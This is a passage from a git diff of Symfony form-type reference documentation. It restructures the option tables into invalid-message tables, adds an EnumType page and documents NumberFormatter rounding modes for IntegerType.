-+----------------------+----------------------------------------------------------------------------------+
-| Rendered as          | single text box, multiple text boxes or select fields - see the `widget`_ option |
-+----------------------+----------------------------------------------------------------------------------+
-| Options              | - `days`_                                                                        |
-|                      | - `hours`_                                                                       |
-|                      | - `minutes`_                                                                     |
-|                      | - `months`_                                                                      |
-|                      | - `seconds`_                                                                     |
-|                      | - `weeks`_                                                                       |
-|                      | - `input`_                                                                       |
-|                      | - `labels`_                                                                      |
-|                      | - `placeholder`_                                                                 |
-|                      | - `widget`_                                                                      |
-|                      | - `with_days`_                                                                   |
-|                      | - `with_hours`_                                                                  |
-|                      | - `with_invert`_                                                                 |
-|                      | - `with_minutes`_                                                                |
-|                      | - `with_months`_                                                                 |
-|                      | - `with_seconds`_                                                                |
-|                      | - `with_weeks`_                                                                  |
-|                      | - `with_years`_                                                                  |
-|                      | - `years`_                                                                       |
-+----------------------+----------------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                        |
-| options              | - `data`_                                                                        |
-|                      | - `disabled`_                                                                    |
-|                      | - `help`_                                                                        |
-|                      | - `help_attr`_                                                                   |
-|                      | - `help_html`_                                                                   |
-|                      | - `inherit_data`_                                                                |
-|                      | - `invalid_message`_                                                             |
-|                      | - `invalid_message_parameters`_                                                  |
-|                      | - `mapped`_                                                                      |
-|                      | - `row_attr`_                                                                    |
-+----------------------+----------------------------------------------------------------------------------+
-| Parent type          | :doc:`FormType </reference/forms/types/form>`                                    |
-+----------------------+----------------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateIntervalType`       |
-+----------------------+----------------------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateInterval``, string or array (see the ``input`` option)              |
++---------------------------+----------------------------------------------------------------------------------+
+| Rendered as               | single text box, multiple text boxes or select fields - see the `widget`_ option |
++---------------------------+----------------------------------------------------------------------------------+
+| Default invalid message   | Please choose a valid date interval.                                             |
++---------------------------+----------------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                              |
++---------------------------+----------------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                                    |
++---------------------------+----------------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateIntervalType`       |
++---------------------------+----------------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -108,7 +80,7 @@ add a "blank" entry to the top of each select box::
 Alternatively, you can specify a string to be displayed for the "blank" value::
 
     $builder->add('remindEvery', DateIntervalType::class, [
-        'placeholder' => ['years' => 'Years', 'months' => 'Months', 'days' => 'Days']
+        'placeholder' => ['years' => 'Years', 'months' => 'Months', 'days' => 'Days'],
     ]);
 
 ``hours``
@@ -333,6 +305,11 @@ when the ``widget`` option is set to ``choice``::
     // values displayed to users range from 1 to 100 (both inclusive)
     'years' => array_combine(range(1, 100), range(1, 100)),
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -352,8 +329,6 @@ These options inherit from the :doc:`form </reference/forms/types/form>` type:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index ad56b6e2d52..8d1e43da07e 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -10,55 +10,19 @@ date and time (e.g. ``1984-06-05 12:15:30``).
 Can be rendered as a text input or select tags. The underlying format of
 the data can be a ``DateTime`` object, a string, a timestamp or an array.
 
-+----------------------+-----------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
-+----------------------+-----------------------------------------------------------------------------+
-| Rendered as          | single text box or three select fields                                      |
-+----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `date_format`_                                                            |
-|                      | - `date_label`_                                                             |
-|                      | - `date_widget`_                                                            |
-|                      | - `days`_                                                                   |
-|                      | - `placeholder`_                                                            |
-|                      | - `format`_                                                                 |
-|                      | - `hours`_                                                                  |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `minutes`_                                                                |
-|                      | - `model_timezone`_                                                         |
-|                      | - `months`_                                                                 |
-|                      | - `seconds`_                                                                |
-|                      | - `time_label`_                                                             |
-|                      | - `time_widget`_                                                            |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `with_minutes`_                                                           |
-|                      | - `with_seconds`_                                                           |
-|                      | - `years`_                                                                  |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Parent type          | :doc:`FormType </reference/forms/types/form>`                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateTimeType`      |
-+----------------------+-----------------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
++---------------------------+-----------------------------------------------------------------------------+
+| Rendered as               | single text box or three select fields                                      |
++---------------------------+-----------------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid date and time.                                         |
++---------------------------+-----------------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                         |
++---------------------------+-----------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
++---------------------------+-----------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateTimeType`      |
++---------------------------+-----------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -121,7 +85,7 @@ values for the year, month, day, hour, minute and second fields::
         'placeholder' => [
             'year' => 'Year', 'month' => 'Month', 'day' => 'Day',
             'hour' => 'Hour', 'minute' => 'Minute', 'second' => 'Second',
-        ]
+        ],
     ]);
 
 format
@@ -231,6 +195,8 @@ error_bubbling
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -250,8 +216,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index 74eeaa95272..e27898386d4 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -7,33 +7,25 @@ EmailType Field
 The ``EmailType`` field is a text field that is rendered using the HTML5
 ``<input type="email"/>`` tag.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``email`` field (a text box)                              |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EmailType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``email`` field (a text box)                              |
++---------------------------+---------------------------------------------------------------------+
+| Default invalid message   | Please enter a valid email address.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EmailType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -45,13 +37,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 21183ad4e57..6adaa9df79f 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -12,49 +12,6 @@ objects from the database.
 +-------------+------------------------------------------------------------------+
 | Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)     |
 +-------------+------------------------------------------------------------------+
-| Options     | - `choice_label`_                                                |
-|             | - `class`_                                                       |
-|             | - `em`_                                                          |
-|             | - `query_builder`_                                               |
-+-------------+------------------------------------------------------------------+
-| Overridden  | - `choice_name`_                                                 |
-| options     | - `choice_value`_                                                |
-|             | - `choices`_                                                     |
-|             | - `data_class`_                                                  |
-+-------------+------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`:      |
-| options     |                                                                  |
-|             | - `choice_attr`_                                                 |
-|             | - `choice_translation_domain`_                                   |
-|             | - `expanded`_                                                    |
-|             | - `group_by`_                                                    |
-|             | - `multiple`_                                                    |
-|             | - `placeholder`_                                                 |
-|             | - `preferred_choices`_                                           |
-|             | - `translation_domain`_                                          |
-|             | - `trim`_                                                        |
-|             |                                                                  |
-|             | from the :doc:`FormType </reference/forms/types/form>`:          |
-|             |                                                                  |
-|             | - `attr`_                                                        |
-|             | - `data`_                                                        |
-|             | - `disabled`_                                                    |
-|             | - `empty_data`_                                                  |
-|             | - `error_bubbling`_                                              |
-|             | - `error_mapping`_                                               |
-|             | - `help`_                                                        |
-|             | - `help_attr`_                                                   |
-|             | - `help_html`_                                                   |
-|             | - `label`_                                                       |
-|             | - `label_attr`_                                                  |
-|             | - `label_format`_                                                |
-|             | - `mapped`_                                                      |
-|             | - `required`_                                                    |
-|             | - `row_attr`_                                                    |
-|             | - `label_translation_parameters`_                                |
-|             | - `attr_translation_parameters`_                                 |
-|             | - `help_translation_parameters`_                                 |
-+-------------+------------------------------------------------------------------+
 | Parent type | :doc:`ChoiceType </reference/forms/types/choice>`                |
 +-------------+------------------------------------------------------------------+
 | Class       | :class:`Symfony\\Bridge\\Doctrine\\Form\\Type\\EntityType`       |
@@ -182,7 +139,7 @@ more details, see the main :ref:`choice_label <reference-form-choice-label>` doc
 
     When passing a string, the ``choice_label`` option is a property path. So you
     can use anything supported by the
-    :doc:`PropertyAccessor component </components/property_access>`
+    :doc:`PropertyAccess component </components/property_access>`
 
     For example, if the translations property is actually an associative
     array of objects, each with a ``name`` property, then you could do this::
@@ -331,8 +288,7 @@ type:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -340,8 +296,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
new file mode 100644
index 00000000000..51fefe016f0
--- /dev/null
+++ b/reference/forms/types/enum.rst
@@ -0,0 +1,119 @@
+.. index::
+   single: Forms; Fields; EnumType
+
+EnumType Field
+==============
+
+.. versionadded:: 5.4
+
+   The ``EnumType`` form field was introduced in Symfony 5.4.
+
+A multi-purpose field used to allow the user to "choose" one or more options
+defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </refernce/forms/types/enum>`
+field and defines the same options.
+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | can be various tags (see below)                                      |
++---------------------------+----------------------------------------------------------------------+
+| Default invalid message   | The selected choice is invalid.                                      |
++---------------------------+----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                    |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EnumType`   |
++---------------------------+----------------------------------------------------------------------+
+
+.. include:: /reference/forms/types/options/_debug_form.rst.inc
+
+Example Usage
+-------------
+
+Before using this field, you'll need to have some PHP enumeration (or "enum" for
+short) defined somewhere in your application. This enum has to be of type
+"backed enum", where each keyword defines a scalar value such as a string::
+
+    // src/Config/TextAlign.php
+    namespace App\Config;
+
+    enum TextAlign
+    {
+        case Left = 'Left/Start aligned';
+        case Center = 'Center/Middle aligned';
+        case Right = 'Right/End aligned';
+    }
+
+Instead of using the values of the enumeration in a ``choices`` option, the
+``EnumType`` only requires to define the ``class`` option pointing to the enum::
+
+    use App\Config\TextAlign;
+    use Symfony\Component\Form\Extension\Core\Type\EnumType;
+    // ...
+
+    $builder->add('alignment', EnumType::class, ['class' => TextAlign::class]);
+
+This will display a ``<select>`` tag with the three possible values defined in
+the ``TextAlign`` enum. Use the `expanded`_ and `multiple`_ options to display
+these values as ``<input type="checkbox">`` or ``<input type="radio">``.
+
+Field Options
+-------------
+
+class
+~~~~~
+
+**type**: ``string`` **default**: (it has no default)
+
+The fully-qualified class name (FQCN) of the PHP enum used to get the values
+displayed by this form field.
+
+Inherited Options
+-----------------
+
+These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`:
+
+.. include:: /reference/forms/types/options/error_bubbling.rst.inc
+
+.. include:: /reference/forms/types/options/error_mapping.rst.inc
+
+.. include:: /reference/forms/types/options/expanded.rst.inc
+
+.. include:: /reference/forms/types/options/multiple.rst.inc
+
+.. include:: /reference/forms/types/options/placeholder.rst.inc
+
+.. include:: /reference/forms/types/options/preferred_choices.rst.inc
+
+.. include:: /reference/forms/types/options/choice_type_trim.rst.inc
+
+These options inherit from the :doc:`FormType </reference/forms/types/form>`:
+
+.. include:: /reference/forms/types/options/attr.rst.inc
+
+.. include:: /reference/forms/types/options/data.rst.inc
+
+.. include:: /reference/forms/types/options/disabled.rst.inc
+
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
+
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
+
+.. include:: /reference/forms/types/options/help.rst.inc
+
+.. include:: /reference/forms/types/options/help_attr.rst.inc
+
+.. include:: /reference/forms/types/options/help_html.rst.inc
+
+.. include:: /reference/forms/types/options/label.rst.inc
+
+.. include:: /reference/forms/types/options/label_attr.rst.inc
+
+.. include:: /reference/forms/types/options/label_format.rst.inc
+
+.. include:: /reference/forms/types/options/mapped.rst.inc
+
+.. include:: /reference/forms/types/options/required.rst.inc
+
+.. include:: /reference/forms/types/options/row_attr.rst.inc
+
+.. _`PHP enumeration`: https://www.php.net/manual/language.enumerations.php
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index 66a18560577..fc2836cd2cf 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -6,33 +6,17 @@ FileType Field
 
 The ``FileType`` represents a file input in your form.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``file`` field                                            |
-+-------------+---------------------------------------------------------------------+
-| Options     | - `multiple`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                       |
-| options     | - `data_class`_                                                     |
-|             | - `empty_data`_                                                     |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `disabled`_                                                       |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FileType`  |
-+-------------+---------------------------------------------------------------------+
++---------------------------+--------------------------------------------------------------------+
+| Rendered as               | ``input`` ``file`` field                                           |
++---------------------------+--------------------------------------------------------------------+
+| Default invalid message   | Please select a valid file.                                        |
++---------------------------+--------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                |
++---------------------------+--------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
++---------------------------+--------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FileType` |
++---------------------------+--------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -120,6 +104,11 @@ This option sets the appropriate file-related data mapper to be used by the type
 This option determines what value the field will return when the submitted
 value is empty.
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 8a0c219f410..b38fd5ac5b8 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -7,51 +7,15 @@ FormType Field
 The ``FormType`` predefines a couple of options that are then available
 on all types for which ``FormType`` is the parent.
 
-+-----------+--------------------------------------------------------------------+
-| Options   | - `action`_                                                        |
-|           | - `allow_extra_fields`_                                            |
-|           | - `by_reference`_                                                  |
-|           | - `compound`_                                                      |
-|           | - `constraints`_                                                   |
-|           | - `data`_                                                          |
-|           | - `data_class`_                                                    |
-|           | - `empty_data`_                                                    |
-|           | - `error_bubbling`_                                                |
-|           | - `error_mapping`_                                                 |
-|           | - `extra_fields_message`_                                          |
-|           | - `help`_                                                          |
-|           | - `help_attr`_                                                     |
-|           | - `help_html`_                                                     |
-|           | - `help_translation_parameters`_                                   |
-|           | - `inherit_data`_                                                  |
-|           | - `invalid_message`_                                               |
-|           | - `invalid_message_parameters`_                                    |
-|           | - `label_attr`_                                                    |
-|           | - `label_format`_                                                  |
-|           | - `mapped`_                                                        |
-|           | - `method`_                                                        |
-|           | - `post_max_size_message`_                                         |
-|           | - `property_path`_                                                 |
-|           | - `required`_                                                      |
-|           | - `trim`_                                                          |
-|           | - `validation_groups`_                                             |
-+-----------+--------------------------------------------------------------------+
-| Inherited | - `attr`_                                                          |
-| options   | - `auto_initialize`_                                               |
-|           | - `block_name`_                                                    |
-|           | - `block_prefix`_                                                  |
-|           | - `disabled`_                                                      |
-|           | - `label`_                                                         |
-|           | - `label_html`_                                                    |
-|           | - `row_attr`_                                                      |
-|           | - `translation_domain`_                                            |
-|           | - `label_translation_parameters`_                                  |
-|           | - `attr_translation_parameters`_                                   |
-+-----------+--------------------------------------------------------------------+
-| Parent    | none                                                               |
-+-----------+--------------------------------------------------------------------+
-| Class     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType` |
-+-----------+--------------------------------------------------------------------+
++---------------------------+--------------------------------------------------------------------+
+| Default invalid message   | This value is not valid.                                           |
++---------------------------+--------------------------------------------------------------------+
+| Legacy invalid message    | This value is not valid.                                           |
++---------------------------+--------------------------------------------------------------------+
+| Parent                    | none                                                               |
++---------------------------+--------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType` |
++---------------------------+--------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -89,8 +53,7 @@ option on the form.
 
 .. _reference-form-option-empty-data:
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -101,8 +64,7 @@ The actual default value of this option depends on other field options:
 * If ``data_class`` is not set and ``compound`` is ``false``, then ``''``
   (empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. _reference-form-option-error-bubbling:
 
@@ -112,6 +74,8 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/extra_fields_message.rst.inc
 
+.. include:: /reference/forms/types/options/form_attr.rst.inc
+
 .. include:: /reference/forms/types/options/help.rst.inc
 
 .. include:: /reference/forms/types/options/help_attr.rst.inc
@@ -171,8 +135,12 @@ of the form type tree (i.e. it cannot be used as a form type on its own).
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
+.. _reference-form-option-label:
+
 .. include:: /reference/forms/types/options/label.rst.inc
 
+.. _reference-form-option-label-html:
+
 .. include:: /reference/forms/types/options/label_html.rst.inc
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc
@@ -182,3 +150,5 @@ of the form type tree (i.e. it cannot be used as a form type on its own).
 .. include:: /reference/forms/types/options/label_translation_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/attr_translation_parameters.rst.inc
+
+.. include:: /reference/forms/types/options/priority.rst.inc
diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index 1a74e107555..4a5a449ae60 100644
--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -6,25 +6,17 @@ HiddenType Field
 
 The hidden type represents a hidden input field.
 
-+-------------+----------------------------------------------------------------------+
-| Rendered as | ``input`` ``hidden`` field                                           |
-+-------------+----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                        |
-| options     | - `error_bubbling`_                                                  |
-|             | - `required`_                                                        |
-+-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `data`_                                                            |
-|             | - `empty_data`_                                                      |
-|             | - `error_mapping`_                                                   |
-|             | - `mapped`_                                                          |
-|             | - `property_path`_                                                   |
-|             | - `row_attr`_                                                        |
-+-------------+----------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                        |
-+-------------+----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\HiddenType` |
-+-------------+----------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``hidden`` field                                           |
++---------------------------+----------------------------------------------------------------------+
+| Default invalid message   | The hidden field is invalid.                                         |
++---------------------------+----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\HiddenType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -40,6 +32,8 @@ Overridden Options
 
 Pass errors to the root form, otherwise they will not be visible.
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 ``required``
 ~~~~~~~~~~~~
 
@@ -56,13 +50,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/data.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_mapping.rst.inc
 
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index fa5660158bc..f4654e96591 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -13,37 +13,17 @@ This field has different options on how to handle input values that aren't
 integers. By default, all non-integer values (e.g. 6.78) will round down
 (e.g. 6).
 
-+-------------+-----------------------------------------------------------------------+
-| Rendered as | ``input`` ``number`` field                                            |
-+-------------+-----------------------------------------------------------------------+
-| Options     | - `grouping`_                                                         |
-|             | - `rounding_mode`_                                                    |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                         |
-| options     |                                                                       |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                             |
-| options     | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `invalid_message`_                                                  |
-|             | - `invalid_message_parameters`_                                       |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                         |
-+-------------+-----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\IntegerType` |
-+-------------+-----------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``number`` field                                            |
++---------------------------+-----------------------------------------------------------------------+
+| Default invalid message   | Please enter an integer.                                              |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\IntegerType` |
++---------------------------+-----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -55,37 +35,49 @@ Field Options
 ``rounding_mode``
 ~~~~~~~~~~~~~~~~~
 
-**type**: ``integer`` **default**: ``IntegerToLocalizedStringTransformer::ROUND_DOWN``
+**type**: ``integer`` **default**: ``\NumberFormatter::ROUND_HALFUP``
 
 By default, if the user enters a non-integer number, it will be rounded
-down. There are several other rounding methods and each is a constant
-on the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\IntegerToLocalizedStringTransformer`:
+down. You have several configurable options for that rounding. Each option
+is a constant on the :phpclass:`NumberFormatter` class:
 
-* ``IntegerToLocalizedStringTransformer::ROUND_DOWN`` Round towards zero.
+* ``\NumberFormatter::ROUND_DOWN`` Round towards zero. It
+  rounds ``1.4`` to ``1`` and ``-1.4`` to ``-1``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_FLOOR`` Round towards negative
-  infinity.
+* ``\NumberFormatter::ROUND_FLOOR`` Round towards negative
+  infinity. It rounds ``1.4`` to ``1`` and ``-1.4`` to ``-2``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_UP`` Round away from zero.
+* ``\NumberFormatter::ROUND_UP`` Round away from zero. It
+  rounds ``1.4`` to ``2`` and ``-1.4`` to ``-2``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_CEILING`` Round towards
-  positive infinity.
+* ``\NumberFormatter::ROUND_CEILING`` Round towards positive
+  infinity. It rounds ``1.4`` to ``2`` and ``-1.4`` to ``-1``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_HALF_DOWN`` Round towards the
-  "nearest neighbor". If both neighbors are equidistant, round down.
+* ``\NumberFormatter::ROUND_HALFDOWN`` Round towards the
+  "nearest neighbor". If both neighbors are equidistant, round down. It rounds
+  ``2.5`` and ``1.6`` to ``2``, ``1.5`` and ``1.4`` to ``1``.
 
-* ``IntegerToLocalizedStringTransformer::ROUND_HALF_EVEN`` Round towards the
-  "nearest neighbor". If both neighbors are equidistant, round towards the
-  even neighbor.
